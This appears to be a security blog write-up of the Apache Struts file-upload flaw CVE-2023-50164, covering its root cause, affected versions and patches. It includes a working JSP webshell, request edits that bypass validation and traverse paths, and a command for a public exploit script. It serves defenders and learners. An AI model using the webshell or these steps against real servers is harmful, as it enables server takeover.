CVE-2023-50164: Critical Apache Struts RCE Vulnerability

August 25, 2025

Introduction

CVE-2023-50164, disclosed in 2023, is a critical path traversal vulnerability in Apache Struts, an open-source framework for building Java web applications using the Model-View-Controller (MVC) architecture. Assigned a CVSS score of 9.8, this flaw allows attackers to manipulate file upload parameters to perform directory traversal, enabling the upload of malicious files (e.g., JSP webshells) to unauthorized server directories. This can lead to Remote Code Execution (RCE), granting attackers full control over the compromised server.

Affected Versions:

  • Apache Struts 2.0.0–2.3.37
  • Apache Struts 2.5.0–2.5.32
  • Apache Struts 6.0.0–6.3.0.1

The vulnerability was addressed in Struts 2.5.33, 6.3.0.2, and later versions. Immediate upgrading is strongly recommended.

What is CVE-2023-50164?

The vulnerability resides in Apache Struts’ file upload processing, specifically within the FileUploadInterceptor class (used in Struts 2.5.x and 6.x) and, to a lesser extent, the ActionSupport class in earlier versions. It affects applications that handle multipart/form-data HTTP requests, commonly used for file uploads via endpoints like /upload.action. 

The flaw enables attackers to bypass file upload restrictions by exploiting case-sensitive parameter handling and inadequate path validation. By crafting malicious HTTP requests, attackers can upload files to arbitrary server directories, such as the web server’s root. If the uploaded file is executable, such as a JSP or WAR file, attackers can access it via HTTP, triggering RCE.

Root Cause

The vulnerability stems from two critical flaws in Struts’ file upload mechanism, primarily in the org.apache.struts2.dispatcher.HttpParameters class and the FileUploadInterceptor:

Case-Sensitive Parameter Handling:

  • The HttpParameters class, responsible for processing HTTP request parameters, stores parameters in a Map<String, Parameter> and performs case-sensitive key comparisons in methods like get(), contains(), and remove().
  • In vulnerable versions, Struts expects specific parameter names (e.g., upload, uploadFileName, uploadContentType) for file upload operations. However, validation logic does not normalize parameter names to a consistent case.
  • Attackers can exploit this by using mixed-case variations (e.g., Upload or uPlOaD) to bypass checks. For example, if validation is applied to upload, a parameter named Upload is treated as distinct and may evade restrictions, allowing malicious input to pass through unfiltered.

Inadequate Path Validation:

  • The FileUploadInterceptor processes multipart/form-data requests and determines the destination path for uploaded files based on parameters like uploadFileName.
  • It fails to properly sanitize or normalize file paths, allowing attackers to include path traversal sequences  in uploadFileName. This enables files to be written to arbitrary directories outside the intended upload location.
  • The absence of robust path validation (e.g., resolving ../ sequences or restricting write access to specific directories) amplifies the risk.

Temporary File Exposure:

  • During file upload, Struts temporarily stores files in a server-side directory before moving them to their final destination. Due to insufficient cleanup and validation, attackers can exploit path traversal to place files in web-accessible directories.
  • For example, uploading a JSP file to webapps/ROOT/ allows attackers to request it via HTTP (e.g., http://target.com/webshell.jsp), executing embedded code.

Path to Remote Code Execution

The combination of these flaws enables a straightforward attack path:

  • An attacker sends a multipart/form-data request to a file upload endpoint (e.g., /upload.action), using a mixed-case parameter (e.g., Upload instead of upload) to bypass validation.
  • The uploadFileName parameter includes a path traversal sequence (e.g., ../webapps/ROOT/webshell.jsp), directing the file to a web-accessible directory.
  • A malicious file, such as a JSP webshell containing code like, is uploaded.
Runtime.getRuntime().exec(request.getParameter("cmd")),
  • The attacker accesses the file via HTTP, passing a command (e.g., ?cmd=id), which executes on the server, achieving RCE.

Exploitation Steps for CVE-2023-50164

1. Access the: http://target_website/upload.action

2. Upload a file named webshell.jsp The file should contain the following JSP webshell code or you can take any jsp webshell file.

<%@ page import="java.io.*" %>
<%
  String cmd = request.getParameter("cmd");
  if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String line;
    while ((line = dis.readLine()) != null) {
      out.println(line + "
"); } } %>

3. This JSP file executes system commands via the cmd parameter.

4. Capture the upload request using Burp Suite and edit the multipart body to include:

  • Change the field name from upload to Upload (capital U).

       Note: Struts treats parameter names as case-sensitive. Validation checks are bound to upload (lowercase), but not to Upload. By using Upload, validation is

        bypassed. 

  • Add these two parameters manually to the request body:
------geckoformboundaryfa4094a833f7515cbad66e1302d85613
Content-Disposition: form-data; name="uploadFileName"

../webshell.jsp
------geckoformboundaryfa4094a833f7515cbad66e1302d85613--
  • The request should look like this
  • Send the modified request.

5. Since there’s no file type restriction in place on this dummy app, the webshell will upload without any issues. However, remember — if there is any file type restriction in a real scenario, you must find a way to bypass it. After uploading, you can access the webshell directly in the browser using the following url: http://target_website/webshell.jsp?cmd=id

6. You should see the output of the id command.

Automated Exploit Script 

To simplify and automate exploitation, you can find a working PoC for CVE-2023-50164 at https://raw.githubusercontent.com/enciphers-team/cve-exploits/refs/heads/main/cve-2023-50164.py

Run the exploit using the following command:

python3 cve-2023-50164.py --url http://target_website/upload.action

Once you run the script, you’ll get the message:  Webshell connection established. After that, executing the id command will return its output, confirming remote command execution.

Note : The automated exploit might not always work as there could be file type restrictions.

Mitigation

  1. Upgrade Immediately
    Patch to Struts 2.5.33 or 6.3.0.2+. Download from: struts.apache.org

  2. Secure File Uploads
    Allow only specific file types and limit file sizes to prevent unauthorized  uploads.

  3. Keep Dependencies Updated
    Regularly update Struts and all related libraries and plugins.